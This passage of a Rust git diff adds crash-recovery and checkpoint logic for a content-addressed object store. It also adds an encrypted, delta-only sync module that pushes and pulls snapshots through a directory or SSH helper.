before.physical_bytes)? { + return Ok(None); + } + let report = gc::collect(self, false)?; + let after = self.budget_status()?; + budget::record_attempt(&self.root, after.physical_bytes, after.satisfied)?; + Ok(Some(report)) + } + + pub fn root(&self) -> &Path { + &self.root + } + + pub fn workspace_data_dir(&self, workspace_id: &str) -> PathBuf { + self.root.join("workspaces").join(workspace_id) + } + + pub(crate) fn workspace_roots(&self) -> anyhow::Result> { + let mut roots = Vec::new(); + for entry in fs::read_dir(self.root.join("workspaces"))? { + let entry = entry?; + if !entry.file_type()?.is_dir() || entry.path().join("detached").exists() { + continue; + } + let path = entry.path().join("root.path"); + if !path.is_file() { + continue; + } + roots.push(( + entry.file_name().to_string_lossy().into_owned(), + PathBuf::from(std::ffi::OsString::from_vec(fs::read(path)?)), + )); + } + Ok(roots) + } + + pub fn stats(&self) -> anyhow::Result { + let _maintenance = self.acquire_maintenance_shared()?; + self.stats_unlocked() + } + + pub(crate) fn stats_unlocked(&self) -> anyhow::Result { + let mut physical_bytes = 0_u64; + for entry in fs::read_dir(self.root.join("packs"))? { + let entry = entry?; + if entry.file_type()?.is_file() + && entry.path().extension() == Some(std::ffi::OsStr::new("agp")) + { + physical_bytes += entry.metadata()?.len(); + } + } + Ok(StoreStats { + objects: self.catalog.object_count()?, + physical_bytes, + }) + } + + pub(crate) fn object_payload_bytes(&self) -> anyhow::Result { + self.catalog.object_payload_bytes() + } + + pub(crate) fn object_len(&self, id: &ObjectId) -> anyhow::Result { + self.catalog + .object(id)? + .map(|location| location.len) + .with_context(|| format!("missing object {}", hex::encode(id))) + } + + pub(crate) fn object_kind(&self, id: &ObjectId) -> anyhow::Result { + self.catalog + .object(id)? + .map(|location| location.kind) + .with_context(|| format!("missing object {}", hex::encode(id))) + } + + pub(crate) fn replace_objects_from_gc( + &mut self, + mark_database: &Path, + pack: &str, + checkpoint: &PackCheckpoint, + ) -> anyhow::Result<()> { + self.catalog + .replace_objects_from_gc(mark_database, pack, checkpoint) + } + + pub(crate) fn activate_pack(&mut self, pack: &str) -> anyhow::Result<()> { + validate_pack_name(pack)?; + let packs = self.root.join("packs"); + let temporary = packs.join("CURRENT.tmp"); + let mut file = OpenOptions::new() + .create(true) + .truncate(true) + .write(true) + .open(&temporary)?; + writeln!(file, "{pack}")?; + file.sync_all()?; + fs::rename(temporary, packs.join(CURRENT_FILE))?; + File::open(&packs)?.sync_all()?; + *self.active_pack.borrow_mut() = pack.to_owned(); + Ok(()) + } + + fn index_ref_record(&mut self, workspace_id: &str, record: &RefRecord) -> anyhow::Result<()> { + self.catalog.commit_snapshot( + workspace_id, + &record.snapshot_id, + record.sealed_at, + record.label.as_deref(), + trigger_name(&record.trigger), + ) + } + + fn sync_active_pack(&self) -> anyhow::Result<()> { + let Some(run) = self.unsynced.take() else { + return Ok(()); + }; + let path = self.root.join("packs").join(&run.pack); + if path.exists() { + File::open(path)?.sync_data()?; + } + self.advance_checkpoint(&run) + } + + /// Records the synced run as verified, so the next open has no tail to + /// re-verify and re-sync. Skipped when another process appended before the + /// run: the open-time recovery scan owns that case. + fn advance_checkpoint(&self, run: &AppendRun) -> anyhow::Result<()> { + let checkpoint = self + .catalog + .pack_checkpoint(&run.pack)? + .unwrap_or(PackCheckpoint { + verified_len: 0, + object_count: 0, + last_object: None, + last_record_start: 0, + }); + match run.extend(checkpoint) { + Some(next) => self.catalog.set_pack_checkpoint(&run.pack, &next), + None => Ok(()), + } + } + + /// Recovery takes the catalog's write lock BEFORE the pack lock. A capture + /// already holds the catalog write lock when it appends an object and asks + /// for the pack lock, so the opposite order here let two processes each + /// hold one lock and wait on the other until SQLite's busy timeout gave up + /// with "database is locked". + fn recover_pack(&self) -> anyhow::Result<()> { + if !self + .root + .join("packs") + .join(&*self.active_pack.borrow()) + .exists() + { + return Ok(()); + } + self.catalog + .batch(|| self.recover_pack_under_catalog_lock()) + } + + fn recover_pack_under_catalog_lock(&self) -> anyhow::Result<()> { + let pack_name = self.active_pack.borrow().clone(); + let pack_path = self.root.join("packs").join(&pack_name); + if !pack_path.exists() { + return Ok(()); + } + let lock = OpenOptions::new() + .create(true) + .truncate(false) + .read(true) + .write(true) + .open(self.root.join("locks").join("pack.lock"))?; + lock.lock_exclusive()?; + let mut pack = OpenOptions::new().read(true).write(true).open(&pack_path)?; + let file_len = pack.metadata()?.len(); + let checkpoint = self.catalog.pack_checkpoint(&pack_name)?; + let checkpoint_valid = checkpoint + .as_ref() + .map(|checkpoint| self.validate_checkpoint(&mut pack, file_len, checkpoint)) + .transpose()? + .unwrap_or(false); + if !checkpoint_valid { + self.catalog.reset_pack_index(&pack_name)?; + } + + let mut offset = checkpoint + .as_ref() + .filter(|_| checkpoint_valid) + .map_or(0, |checkpoint| checkpoint.verified_len); + let mut object_count = checkpoint + .as_ref() + .filter(|_| checkpoint_valid) + .map_or(0, |checkpoint| checkpoint.object_count); + let mut last_object = checkpoint + .as_ref() + .filter(|_| checkpoint_valid) + .and_then(|checkpoint| checkpoint.last_object); + let mut last_record_start = checkpoint + .as_ref() + .filter(|_| checkpoint_valid) + .map_or(0, |checkpoint| checkpoint.last_record_start); + let scanned_from = offset; + self.catalog.batch(|| { + pack.seek(SeekFrom::Start(offset))?; + let mut buffer = vec![0_u8; 1024 * 1024]; + while offset < file_len { + let record_start = offset; + let mut magic = [0_u8; 4]; + if pack.read_exact(&mut magic).is_err() { + self.truncate_pack_tail(&pack, record_start)?; + break; + } + anyhow::ensure!( + &magic == OBJECT_MAGIC, + "object pack corruption at byte {record_start}" + ); + let mut meta = [0_u8; 2]; + if pack.read_exact(&mut meta).is_err() { + self.truncate_pack_tail(&pack, record_start)?; + break; + } + anyhow::ensure!(meta[0] == OBJECT_VERSION, "unsupported object pack version"); + let kind = ObjectKind::from_u8(meta[1]).context("invalid object kind in pack")?; + let mut len_bytes = [0_u8; 8]; + if pack.read_exact(&mut len_bytes).is_err() { + self.truncate_pack_tail(&pack, record_start)?; + break; + } + let len = u64::from_le_bytes(len_bytes); + anyhow::ensure!( + len <= MAX_OBJECT_LEN, + "object pack record exceeds size limit" + ); + let mut id = [0_u8; 32]; + let mut checksum = [0_u8; 32]; + if pack.read_exact(&mut id).is_err() || pack.read_exact(&mut checksum).is_err() { + self.truncate_pack_tail(&pack, record_start)?; + break; + } + let payload_offset = record_start + HEADER_LEN; + if file_len.saturating_sub(payload_offset) < len + OBJECT_END.len() as u64 { + self.truncate_pack_tail(&pack, record_start)?; + break; + } + let mut remaining = len; + let mut content_hasher = blake3::Hasher::new(); + content_hasher.update(kind.domain()); + let mut checksum_hasher = blake3::Hasher::new(); + while remaining > 0 { + let take = remaining.min(buffer.len() as u64) as usize; + pack.read_exact(&mut buffer[..take])?; + content_hasher.update(&buffer[..take]); + checksum_hasher.update(&buffer[..take]); + remaining -= take as u64; + } + let mut end = [0_u8; 4]; + pack.read_exact(&mut end)?; + anyhow::ensure!(&end == OBJECT_END, "object pack trailer mismatch"); + anyhow::ensure!( + checksum_hasher.finalize().as_bytes() == &checksum, + "object payload checksum mismatch" + ); + anyhow::ensure!( + content_hasher.finalize().as_bytes() == &id, + "object ID mismatch" + ); + self.catalog + .insert_object(&id, kind, &pack_name, payload_offset, len)?; + offset = pack.stream_position()?; + object_count += 1; + last_object = Some(id); + last_record_start = record_start; + } + if offset == scanned_from { + return Ok(()); + } + pack.sync_data()?; + self.catalog.set_pack_checkpoint( + &pack_name, + &PackCheckpoint { + verified_len: offset, + object_count, + last_object, + last_record_start, + }, + )?; + Ok(()) + })?; + FileExt::unlock(&lock)?; + Ok(()) + } + + fn validate_checkpoint( + &self, + pack: &mut File, + file_len: u64, + checkpoint: &PackCheckpoint, + ) -> anyhow::Result { + if checkpoint.verified_len > file_len + || self.catalog.pack_prefix_object_count( + self.active_pack.borrow().as_str(), + checkpoint.verified_len, + )? != checkpoint.object_count + || self.catalog.pack_crossing_object_count( + self.active_pack.borrow().as_str(), + checkpoint.verified_len, + )? != 0 + { + return Ok(false); + } + if checkpoint.object_count == 0 { + return Ok(checkpoint.verified_len == 0 && checkpoint.last_object.is_none()); + } + let Some(last_id) = checkpoint.last_object else { + return Ok(false); + }; + let Some(location) = self.catalog.object(&last_id)? else { + return Ok(false); + }; + if location.pack != *self.active_pack.borrow() + || location.offset != checkpoint.last_record_start + HEADER_LEN + || location.offset + location.len + OBJECT_END.len() as u64 != checkpoint.verified_len + { + return Ok(false); + } + + pack.seek(SeekFrom::Start(checkpoint.last_record_start))?; + let mut header = [0_u8; HEADER_LEN as usize]; + if pack.read_exact(&mut header).is_err() + || &header[..4] != OBJECT_MAGIC + || header[4] != OBJECT_VERSION + || ObjectKind::from_u8(header[5]) != Some(location.kind) + { + return Ok(false); + } + let mut len_bytes = [0_u8; 8]; + len_bytes.copy_from_slice(&header[6..14]); + if u64::from_le_bytes(len_bytes) != location.len || header[14..46] != last_id { + return Ok(false); + } + pack.seek(SeekFrom::Start(checkpoint.verified_len - 4))?; + let mut trailer = [0_u8; 4]; + Ok(pack.read_exact(&mut trailer).is_ok() && &trailer == OBJECT_END) + } + + fn truncate_pack_tail(&self, pack: &File, record_start: u64) -> anyhow::Result<()> { + pack.set_len(record_start)?; + self.catalog.delete_pack_objects_from( + self.active_pack.borrow().as_str(), + record_start.saturating_add(HEADER_LEN), + )?; + Ok(()) + } +} + +fn read_or_initialize_current(root: &Path) -> anyhow::Result { + let packs = root.join("packs"); + let current = packs.join(CURRENT_FILE); + if current.exists() { + let pack = fs::read_to_string(¤t)?.trim().to_owned(); + validate_pack_name(&pack)?; + return Ok(pack); + } + let temporary = packs.join("CURRENT.tmp"); + let mut file = OpenOptions::new() + .create(true) + .truncate(true) + .write(true) + .open(&temporary)?; + writeln!(file, "{INITIAL_PACK_NAME}")?; + file.sync_all()?; + fs::rename(temporary, current)?; + File::open(packs)?.sync_all()?; + Ok(INITIAL_PACK_NAME.to_owned()) +} + +fn validate_pack_name(pack: &str) -> anyhow::Result<()> { + anyhow::ensure!( + !pack.is_empty() + && pack.ends_with(".agp") + && Path::new(pack).file_name() == Some(std::ffi::OsStr::new(pack)), + "invalid active pack name" + ); + Ok(()) +} + +fn trigger_name(trigger: &SnapshotTrigger) -> &'static str { + match trigger { + SnapshotTrigger::Initial => "initial", + SnapshotTrigger::Manual => "manual", + SnapshotTrigger::Watcher => "watcher", + SnapshotTrigger::PreRewind => "pre_rewind", + SnapshotTrigger::ForkBase => "fork_base", + SnapshotTrigger::AgentRun => "agent_run", + SnapshotTrigger::MergeSource => "merge_source", + SnapshotTrigger::PreMerge => "pre_merge", + SnapshotTrigger::Merge => "merge", + SnapshotTrigger::SyncLocal => "sync_local", + SnapshotTrigger::SyncPush => "sync_push", + SnapshotTrigger::SyncPull => "sync_pull", + SnapshotTrigger::Inspection => "inspection", + SnapshotTrigger::Claim => "claim", + SnapshotTrigger::Release => "release", + SnapshotTrigger::Coord => "coord", + } +} + +pub fn object_id(kind: ObjectKind, bytes: &[u8]) -> ObjectId { + let mut hasher = blake3::Hasher::new(); + hasher.update(kind.domain()); + hasher.update(bytes); + *hasher.finalize().as_bytes() +} + +/// Records where a workspace lives, durably and all at once: a reader sees the +/// old path or the new one, never half of either. +fn write_root_path(workspace_dir: &Path, root: &[u8]) -> anyhow::Result<()> { + let temporary = workspace_dir.join("root.path.tmp"); + let mut file = OpenOptions::new() + .create(true) + .truncate(true) + .write(true) + .open(&temporary)?; + file.write_all(root)?; + file.sync_all()?; + fs::rename(&temporary, workspace_dir.join("root.path"))?; + File::open(workspace_dir)?.sync_all()?; + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + use rusqlite::Connection; + + fn checkpointed_store() -> (tempfile::TempDir, ObjectId, ObjectId, u64) { + let directory = tempfile::tempdir().unwrap(); + let store = ObjectStore::open(directory.path().to_owned()).unwrap(); + let first = store + .put_bytes(ObjectKind::Chunk, &vec![b'a'; 128 * 1024]) + .unwrap(); + let second = store.put_bytes(ObjectKind::Chunk, b"second").unwrap(); + drop(store); + + // The first reopen verifies the legacy/uncheckpointed pack and records + // the durable boundary used by subsequent startups. + let store = ObjectStore::open(directory.path().to_owned()).unwrap(); + let verified_len = fs::metadata(directory.path().join("packs").join(INITIAL_PACK_NAME)) + .unwrap() + .len(); + assert_eq!( + store + .catalog + .pack_checkpoint(INITIAL_PACK_NAME) + .unwrap() + .unwrap() + .verified_len, + verified_len + ); + drop(store); + (directory, first, second, verified_len) + } + + #[test] + fn long_lived_store_refreshes_current_after_external_pack_activation() { + let directory = tempfile::tempdir().unwrap(); + let first = ObjectStore::open(directory.path().to_owned()).unwrap(); + first.put_bytes(ObjectKind::Chunk, b"before gc").unwrap(); + let initial = directory.path().join("packs/pack-000001.agp"); + let initial_len = fs::metadata(&initial).unwrap().len(); + + let mut gc_process = ObjectStore::open(directory.path().to_owned()).unwrap(); + let _exclusive = gc_process.acquire_maintenance_exclusive().unwrap(); + gc_process.activate_pack("pack-gc-test.agp").unwrap(); + drop(_exclusive); + + let id = first.put_bytes(ObjectKind::Chunk, b"after gc").unwrap(); + assert_eq!(fs::metadata(initial).unwrap().len(), initial_len); + assert!(directory.path().join("packs/pack-gc-test.agp").exists()); + assert_eq!( + first.catalog.object(&id).unwrap().unwrap().pack, + "pack-gc-test.agp" + ); + } + + #[test] + fn valid_checkpoint_does_not_rehash_the_pack_prefix() { + let (directory, first, second, _) = checkpointed_store(); + let catalog = Catalog::open(&directory.path().join("catalog.sqlite3")).unwrap(); + let first_location = catalog.object(&first).unwrap().unwrap(); + drop(catalog); + + let pack_path = directory.path().join("packs").join(INITIAL_PACK_NAME); + let mut pack = OpenOptions::new().write(true).open(pack_path).unwrap(); + pack.seek(SeekFrom::Start(first_location.offset + 17)) + .unwrap(); + pack.write_all(b"Z").unwrap(); + pack.sync_data().unwrap(); + drop(pack); + + // Constant-size boundary validation succeeds without reading the old + // payload. Reads retain their independent object-integrity check. + let store = ObjectStore::open(directory.path().to_owned()).unwrap(); + assert!(store.read_bytes(&first, ObjectKind::Chunk).is_err()); + assert_eq!( + store.read_bytes(&second, ObjectKind::Chunk).unwrap(), + b"second" + ); + } + + #[test] + fn empty_catalog_index_forces_a_full_verified_rebuild() { + let (directory, first, second, _) = checkpointed_store(); + let connection = Connection::open(directory.path().join("catalog.sqlite3")).unwrap(); + connection.execute("DELETE FROM objects", []).unwrap(); + drop(connection); + + let store = ObjectStore::open(directory.path().to_owned()).unwrap(); + assert_eq!( + store.read_bytes(&first, ObjectKind::Chunk).unwrap(), + vec![b'a'; 128 * 1024] + ); + assert_eq!( + store.read_bytes(&second, ObjectKind::Chunk).unwrap(), + b"second" + ); + assert_eq!(store.catalog.object_count().unwrap(), 2); + } + + #[test] + fn checkpointed_recovery_verifies_and_truncates_only_the_new_tail() { + let (directory, first, second, verified_len) = checkpointed_store(); + let pack_path = directory.path().join("packs").join(INITIAL_PACK_NAME); + let mut pack = OpenOptions::new().append(true).open(&pack_path).unwrap(); + pack.write_all(b"AGOB\x01").unwrap(); + pack.sync_data().unwrap(); + drop(pack); + + let store = ObjectStore::open(directory.path().to_owned()).unwrap(); + assert_eq!(fs::metadata(pack_path).unwrap().len(), verified_len); + assert!(store.catalog.object(&first).unwrap().is_some()); + assert!(store.catalog.object(&second).unwrap().is_some()); + assert_eq!( + store + .catalog + .pack_checkpoint(INITIAL_PACK_NAME) + .unwrap() + .unwrap() + .verified_len, + verified_len + ); + } +} diff --git a/engine/furrow-core/src/sync.rs b/engine/furrow-core/src/sync.rs new file mode 100644 index 0000000000..ff96089169 --- /dev/null +++ b/engine/furrow-core/src/sync.rs @@ -0,0 +1,1219 @@ +//! Encrypted, delta-only synchronization through a directory or direct SSH helper. + +use crate::bundle; +use crate::model::{Blob, ObjectId, ObjectKind, Snapshot}; +use crate::remote::{self, RemoteSpec, Session}; +use crate::remote_crypto::RemoteCrypto; +use crate::store::ObjectStore; +use anyhow::Context; +use rusqlite::{params, Connection, OptionalExtension}; +use serde::{Deserialize, Serialize}; +use std::fs; +use std::os::unix::fs::PermissionsExt; +use std::path::Path; +use std::time::{Instant, SystemTime, UNIX_EPOCH}; + +const LEASE_SECONDS: u64 = 60 * 60; +const HAVE_BATCH: usize = 1024; +const HAVE_BATCH_BYTES: usize = 16 * 1024 * 1024; +const PULL_BATCH: usize = 128; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PairConfig { + pub remote: RemoteSpec, + pub namespace: String, + #[serde(default, skip_serializing_if = "Option::is_none")] + pub remote_namespace: Option, + pub key: [u8; 32], + pub machine_id: [u8; 16], +} + +#[derive(Debug, Clone, Serialize)] +pub struct PairSummary { + pub remote: String, + pub namespace: String, + pub key_hex: String, + pub machine_id: String, +} + +#[derive(Debug, Clone, Serialize)] +pub struct PushReport { + pub snapshot: String, + pub root: String, + pub objects: u64, + pub uploaded_objects: u64, + pub reused_objects: u64, + pub uploaded_bytes: u64, + pub timings: TransportTimings, +} + +#[derive(Debug, Clone, Serialize)] +pub struct PullReport { + pub snapshot: String, + pub fetched_objects: u64, + pub reused_objects: u64, + pub fetched_bytes: u64, + /// Files materialized into the workspace while the fetch was still in + /// flight. Streaming pulls advance this alongside `fetched_objects` so the + /// caller can observe checkout progress; a non-streaming pull leaves it 0. + #[serde(default)] + pub materialized_files: u64, + pub timings: TransportTimings, +} + +#[derive(Debug, Clone, Default, Serialize)] +pub struct TransportTimings { + pub connect_auth_ms: u64, + pub negotiate_ms: u64, + pub stream_ms: u64, + pub durability_ms: u64, + pub notify_ms: Option, + pub total_ms: u64, + pub connection_reused: bool, +} + +struct OperationTiming { + connect_auth_ms: u64, + connection_reused: bool, + total_started: Instant, + lock_ms: u64, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct RemoteHead { + version: u8, + snapshot: ObjectId, + root: ObjectId, + base_root: Option, + publisher: [u8; 16], +} + +#[derive(Debug, Clone)] +pub struct PulledHead { + pub snapshot: ObjectId, + pub root: ObjectId, + pub base_root: Option, + pub report: PullReport, +} + +pub fn pair( + config_path: &Path, + remote: &Path, + namespace: &str, + key_hex: Option<&str>, +) -> anyhow::Result { + remote::validate_namespace(namespace)?; + let remote = RemoteSpec::from_input(remote)?; + let key = match key_hex { + Some(key) => parse_key(key)?, + None => RemoteCrypto::generate_key()?, + }; + let mut machine_id = [0; 16]; + getrandom::getrandom(&mut machine_id) + .map_err(|error| anyhow::anyhow!("generate machine ID: {error}"))?; + let config = PairConfig { + remote: remote.clone(), + namespace: namespace.to_owned(), + remote_namespace: Some(opaque_namespace(&key, namespace)), + key, + machine_id, + }; + let parent = config_path.parent().context("sync config has no parent")?; + fs::create_dir_all(parent)?; + local_atomic_write(config_path, &serde_json::to_vec_pretty(&config)?)?; + fs::set_permissions(config_path, fs::Permissions::from_mode(0o600))?; + // Opening verifies SSH availability and creates the namespace through the + // same opaque helper protocol used by normal transfers. + drop(Session::open(&config.remote, storage_namespace(&config))?); + Ok(PairSummary { + remote: remote.display(), + namespace: namespace.to_owned(), + key_hex: hex::encode(key), + machine_id: hex::encode(machine_id), + }) +} + +pub fn load(config_path: &Path) -> anyhow::Result { + let config: PairConfig = serde_json::from_slice(&fs::read(config_path).with_context(|| { + format!( + "repository is not paired; run `furrow pair ` first ({})", + config_path.display() + ) + })?) + .context("decode sync configuration")?; + remote::validate_namespace(&config.namespace)?; + config.remote.validate()?; + Ok(config) +} + +pub fn push( + store: &ObjectStore, + snapshot: ObjectId, + config: &PairConfig, + expected_remote_root: Option, + takeover: bool, +) -> anyhow::Result { + let mut remote = open_session(config, None)?; + push_on( + store, + snapshot, + config, + expected_remote_root, + takeover, + &mut remote, + ) +} + +pub(crate) fn open_session(config: &PairConfig, ref_name: Option<&str>) -> anyhow::Result { + // Validate before paying for a connection so an invalid `--ref` fails + // fast and identically across all three transports. + if let Some(name) = ref_name { + remote::validate_ref(name)?; + } + let mut session = Session::open(&config.remote, storage_namespace(config))?; + session.set_ref(ref_name)?; + Ok(session) +} + +pub(crate) fn push_on( + store: &ObjectStore, + snapshot: ObjectId, + config: &PairConfig, + expected_remote_root: Option, + takeover: bool, + remote: &mut Session, +) -> anyhow::Result { + let total_started = Instant::now(); + let (connect_auth_ms, connection_reused) = remote.begin_operation(); + let negotiate_started = Instant::now(); + remote.begin_writer()?; + let lock_ms = elapsed_ms(negotiate_started); + let result = push_locked( + store, + snapshot, + config, + expected_remote_root, + takeover, + remote, + OperationTiming { + connect_auth_ms, + connection_reused, + total_started, + lock_ms, + }, + ); + let durability_started = Instant::now(); + let unlock = remote.end_writer(); + match (result, unlock) { + (Err(error), _) => Err(error), + (Ok(_), Err(error)) => Err(error).context("release remote writer lock"), + (Ok(mut report), Ok(())) => { + report.timings.durability_ms = report + .timings + .durability_ms + .saturating_add(elapsed_ms(durability_started)); + report.timings.total_ms = connect_auth_ms.saturating_add(elapsed_ms(total_started)); + Ok(report) + } + } +} + +fn push_locked( + store: &ObjectStore, + snapshot: ObjectId, + config: &PairConfig, + expected_remote_root: Option, + takeover: bool, + remote: &mut Session, + timing: OperationTiming, +) -> anyhow::Result { + let negotiate_started = Instant::now(); + let ref_name = remote.ref_name().map(str::to_owned); + let head_key = remote::head_key(ref_name.as_deref()); + let lease_key = remote::lease_key(ref_name.as_deref()); + let new_lease = prepare_writer_lease(remote, config, takeover)?; + let crypto = RemoteCrypto::new(config.key); + let snapshot_value: Snapshot = store.read_struct(&snapshot, ObjectKind::Snapshot)?; + let base_root = if remote.exists(&head_key)? { + let current = read_remote_head(remote, config, &crypto)?; + anyhow::ensure!( + current.snapshot == snapshot || Some(current.root) == expected_remote_root, + "remote workspace changed since this machine last synchronized; pull before pushing" + ); + Some(current.root) + } else { + anyhow::ensure!( + expected_remote_root.is_none(), + "paired remote lost its published head; refusing to recreate it without re-pairing" + ); + None + }; + // Publish ownership only after the locked expected-head check. A stale + // takeover attempt must not disrupt the current writer when no new HEAD + // can be committed. + remote.write(&lease_key, &new_lease)?; + let negotiate_ms = timing.lock_ms.saturating_add(elapsed_ms(negotiate_started)); + let stream_started = Instant::now(); + let mut uploaded_objects = 0_u64; + let mut reused_objects = 0_u64; + let mut uploaded_bytes = 0_u64; + let mut pending = Vec::with_capacity(HAVE_BATCH); + let mut pending_bytes = 0_usize; + let objects = bundle::for_each_reachable(store, snapshot, |id, kind, bytes| { + if bytes.len() >= HAVE_BATCH_BYTES { + flush_push_batch( + &crypto, + remote, + &mut pending, + &mut uploaded_objects, + &mut reused_objects, + &mut uploaded_bytes, + )?; + pending_bytes = 0; + let remote_id = crypto.remote_id(id); + if remote.has_objects(&[remote_id])?[0] { + reused_objects += 1; + } else { + let encrypted = crypto.encrypt_object(id, kind, bytes)?; + remote.write(&remote::object_key(&remote_id), &encrypted)?; + uploaded_objects += 1; + uploaded_bytes += encrypted.len() as u64; + } + return Ok(()); + } + if pending.len() == HAVE_BATCH + || pending_bytes.saturating_add(bytes.len()) > HAVE_BATCH_BYTES + { + flush_push_batch( + &crypto, + remote, + &mut pending, + &mut uploaded_objects, + &mut reused_objects, + &mut uploaded_bytes, + )?; + pending_bytes = 0; + } + pending_bytes = pending_bytes.saturating_add(bytes.len()); + pending.push((*id, kind, bytes.to_vec())); + Ok(()) + })?; + flush_push_batch( + &crypto, + remote, + &mut pending, + &mut uploaded_objects, + &mut reused_objects, + &mut uploaded_bytes, + )?; + let stream_ms = elapsed_ms(stream_started); + let durability_started = Instant::now(); + let head = RemoteHead { + version: 1, + snapshot, + root: snapshot_value.root_tree, + base_root, + publisher: config.machine_id, + }; + let encrypted_head = crypto.encrypt_metadata( + &serde_json::to_vec(&head)?, + head_context(&config.namespace, ref_name.as_deref()).as_bytes(), + )?; + remote.write(&head_key, &encrypted_head)?; + let durability_ms = elapsed_ms(durability_started); + Ok(PushReport { + snapshot: hex::encode(snapshot), + root: hex::encode(snapshot_value.root_tree), + objects, + uploaded_objects, + reused_objects, + uploaded_bytes, + timings: TransportTimings { + connect_auth_ms: timing.connect_auth_ms, + negotiate_ms, + stream_ms, + durability_ms, + notify_ms: None, + total_ms: timing + .connect_auth_ms + .saturating_add(elapsed_ms(timing.total_started)), + connection_reused: timing.connection_reused, + }, + }) +} + +fn flush_push_batch( + crypto: &RemoteCrypto, + remote: &mut Session, + pending: &mut Vec<(ObjectId, ObjectKind, Vec)>, + uploaded_objects: &mut u64, + reused_objects: &mut u64, + uploaded_bytes: &mut u64, +) -> anyhow::Result<()> { + if pending.is_empty() { + return Ok(()); + } + let remote_ids: Vec<_> = pending + .iter() + .map(|(id, _, _)| crypto.remote_id(id)) + .collect(); + let existing = remote.has_objects(&remote_ids)?; + anyhow::ensure!( + existing.len() == pending.len(), + "invalid remote have response" + ); + let mut uploads = Vec::new(); + for (((id, kind, bytes), remote_id), exists) in pending.drain(..).zip(remote_ids).zip(existing) + { + if exists { + *reused_objects += 1; + continue; + } + let encrypted = crypto.encrypt_object(&id, kind, &bytes)?; + *uploaded_objects += 1; + *uploaded_bytes += encrypted.len() as u64; + uploads.push((remote::object_key(&remote_id), encrypted)); + } + remote.write_many(&uploads) +} + +pub fn pull(store: &ObjectStore, config: &PairConfig) -> anyhow::Result { + let mut remote = open_session(config, None)?; + pull_on(store, config, &mut remote) +} + +pub(crate) fn pull_on( + store: &ObjectStore, + config: &PairConfig, + remote: &mut Session, +) -> anyhow::Result { + let total_started = Instant::now(); + let (connect_auth_ms, connection_reused) = remote.begin_operation(); + let negotiate_started = Instant::now(); + let crypto = RemoteCrypto::new(config.key); + let head = read_remote_head(remote, config, &crypto)?; + let negotiate_ms = elapsed_ms(negotiate_started); + let stream_started = Instant::now(); + let queue_file = tempfile::NamedTempFile::new()?; + let queue = Connection::open(queue_file.path())?; + queue.execute_batch( + "PRAGMA journal_mode=OFF; + PRAGMA synchronous=OFF; + CREATE TABLE queue( + id BLOB PRIMARY KEY, + kind INTEGER NOT NULL, + processed INTEGER NOT NULL DEFAULT 0 + ) WITHOUT ROWID; + CREATE INDEX queue_pending ON queue(processed, id); + BEGIN;", + )?; + enqueue(&queue, &head.snapshot, ObjectKind::Snapshot)?; + let mut fetched_objects = 0_u64; + let mut reused_objects = 0_u64; + let mut fetched_bytes = 0_u64; + loop { + let batch = next_batch(&queue, PULL_BATCH)?; + if batch.is_empty() { + break; + } + let mut missing = Vec::new(); + for (id, expected) in batch { + if !store.contains_object(&id)? { + missing.push((id, expected)); + continue; + } + reused_objects += 1; + let bytes = store.read_bytes(&id, expected)?; + process_pulled_object(&queue, id, expected, &bytes)?; + } + let requests: Vec<_> = missing + .iter() + .map(|(id, _)| { + ( + remote::object_key(&crypto.remote_id(id)), + remote::MAX_OBJECT_BYTES, + ) + }) + .collect(); + remote.read_many(&requests, |index, encrypted| { + let (id, expected) = missing[index]; + let (kind, bytes) = crypto.decrypt_object(&id, &encrypted)?; + anyhow::ensure!(kind == expected, "remote object kind mismatch"); + anyhow::ensure!( + store.put_bytes(kind, &bytes)? == id, + "remote import ID mismatch" + ); + fetched_objects += 1; + fetched_bytes += encrypted.len() as u64; + process_pulled_object(&queue, id, expected, &bytes) + .with_context(|| format!("import remote object {}", hex::encode(id))) + })?; + } + queue.execute_batch("COMMIT;")?; + // Existing objects are trusted only because the local completeness gate + // made them visible. A final traversal proves the assembled remote root. + bundle::for_each_reachable(store, head.snapshot, |_id, _kind, _bytes| Ok(()))?; + let remote_snapshot: Snapshot = store.read_struct(&head.snapshot, ObjectKind::Snapshot)?; + anyhow::ensure!( + remote_snapshot.root_tree == head.root, + "authenticated remote head does not match its snapshot root" + ); + let stream_ms = elapsed_ms(stream_started); + Ok(PulledHead { + snapshot: head.snapshot, + root: head.root, + base_root: head.base_root, + report: PullReport { + snapshot: hex::encode(head.snapshot), + fetched_objects, + reused_objects, + fetched_bytes, + materialized_files: 0, + timings: TransportTimings { + connect_auth_ms, + negotiate_ms, + stream_ms, + durability_ms: 0, + notify_ms: None, + total_ms: connect_auth_ms.saturating_add(elapsed_ms(total_started)), + connection_reused, + }, + }, + }) +} + +/// A pull that separates skeleton transfer (snapshot + trees) from bulk blob +/// transfer so the caller can materialize files while blobs are still being +/// fetched. +/// +/// The lifecycle is: [`StreamingPull::begin`] fetches the snapshot and every +/// tree object, which is enough to compute an apply plan. The caller then walks +/// that plan in deterministic tree order, calling [`StreamingPull::fetch_file`] +/// for each file to pull just that file's blob/chunk subgraph before writing +/// it. Finally [`StreamingPull::finish`] drains any objects the plan did not +/// cover (reused paths, SQLite backups) and re-verifies the whole graph exactly +/// like a non-streaming pull, so the snapshot is adopted only once every +/// reachable object is durable. +/// +/// The disk-backed queue keeps memory bounded on very large graphs and doubles +/// as the deduplication ledger: every object is fetched (or reused) at most +/// once regardless of how the plan interleaves file fetches with the final +/// drain, so the reported counters match the non-streaming path object-for-object. +pub(crate) struct StreamingPull<'session, 'store> { + store: &'store ObjectStore, + remote: &'session mut Session, + crypto: RemoteCrypto, + head: RemoteHead, + _queue_file: tempfile::NamedTempFile, + queue: Connection, + fetched_objects: u64, + reused_objects: u64, + fetched_bytes: u64, + materialized_files: u64, + connect_auth_ms: u64, + connection_reused: bool, + negotiate_ms: u64, + total_started: Instant, + stream_started: Instant, +} + +impl<'session, 'store> StreamingPull<'session, 'store> { + pub(crate) fn begin( + store: &'store ObjectStore, + config: &PairConfig, + remote: &'session mut Session, + ) -> anyhow::Result { + let total_started = Instant::now(); + let (connect_auth_ms, connection_reused) = remote.begin_operation(); + let negotiate_started = Instant::now(); + let crypto = RemoteCrypto::new(config.key); + let head = read_remote_head(remote, config, &crypto)?; + let negotiate_ms = elapsed_ms(negotiate_started); + let stream_started = Instant::now(); + let queue_file = tempfile::NamedTempFile::new()?; + let queue = Connection::open(queue_file.path())?; + queue.execute_batch( + "PRAGMA 